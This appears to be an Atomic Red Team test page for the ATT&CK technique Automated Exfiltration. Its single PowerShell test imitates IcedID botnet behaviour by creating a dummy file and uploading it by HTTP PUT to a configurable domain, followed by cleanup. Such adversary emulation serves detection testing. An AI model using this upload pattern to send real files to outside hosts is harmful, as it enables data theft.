# T1020 - Automated Exfiltration
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1020)
<blockquote>Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection. 

When automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).</blockquote>

## Atomic Tests

- [Atomic Test #1 - IcedID Botnet HTTP PUT](#atomic-test-1---icedid-botnet-http-put)


<br/>

## Atomic Test #1 - IcedID Botnet HTTP PUT
Creates a text file
Tries to upload to a server via HTTP PUT method with ContentType Header
Deletes a created file

**Supported Platforms:** Windows


**auto_generated_guid:** 9c780d3d-3a14-4278-8ee5-faaeb2ccfbe0





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| file | Exfiltration File | String | C:&#92;temp&#92;T1020_exfilFile.txt|
| domain | Destination Domain | Url | https://google.com|


#### Attack Commands: Run with `powershell`! 


```powershell
$fileName = "#{file}"
$url = "#{domain}"
$file = New-Item -Force $fileName -Value "This is ART IcedID Botnet Exfil Test"
$contentType = "application/octet-stream"
try {Invoke-WebRequest -Uri $url -Method Put -ContentType $contentType -InFile $fileName} catch{}
```

#### Cleanup Commands:
```powershell
$fileName = "#{file}"
Remove-Item -Path $fileName -ErrorAction Ignore
```





<br/>
